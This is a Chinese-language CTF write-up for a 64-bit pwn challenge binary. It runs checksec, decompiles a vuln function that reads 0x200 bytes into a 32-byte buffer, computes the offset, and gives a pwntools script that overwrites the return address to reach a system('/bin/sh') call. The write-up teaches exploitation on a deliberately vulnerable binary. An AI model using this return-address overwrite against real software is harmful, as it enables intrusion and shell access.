二进制下载

下载地址：传送门

检查分析

[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)

可以看到，安全防护还是比较弱的

运行二进制

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ]           [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Input: 123456[ Address ]           [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Bye!

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ]           [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Input: aaaaaaaa[ Address ]           [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Bye!

ida分析

分析main函数，发现有提示：call win函数

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);printf("Your goal is to call `win` function (located at %p)\n", win);vuln();puts("Bye!");return 0;
}

可以看到，读取了一些内容存到了buf变量里，然后就调用了return函数，可以用这个栈溢出漏洞来进行利用

__int64 vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREF_show_stack(buf);printf("Input: ");read(0, buf, 0x200uLL);return _show_stack(buf);
}

查看win函数，看到有system(“/bin/sh”)的指令，可以直接利用

void __noreturn win()
{_QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREFv0[1] = v0;if ( ((unsigned __int8)v0 & 0xF) != 0 ){puts("Oops! RSP is misaligned!");puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");puts("This instruction fails when RSP is not a multiple of 0x10.");puts("Find a way to align RSP! You're almost there!");sleep(1u);}else{puts("Congratulations!");system("/bin/sh");}exit(0);
}

找到system(“/bin/sh”);的地址为：0x00000000004008C4

.text:00000000004008C4 48 8D 3D C4 03 00 00          lea     rdi, command                    ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF                call    _system

解题思路

找到填充的间隔为32

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ]           [ Stack ]+--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf+--------------------+
0x00007ffce7496298 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |+--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)+--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)+--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |+--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |+--------------------+Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32

上面已经找到system(“/bin/sh”);的地址为：0x00000000004008C4

exp

from pwn import *io = process("./pwn")
# io = remote("xxxx", 9999)  context.arch = "amd64"
# context.log_level = "debug"padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()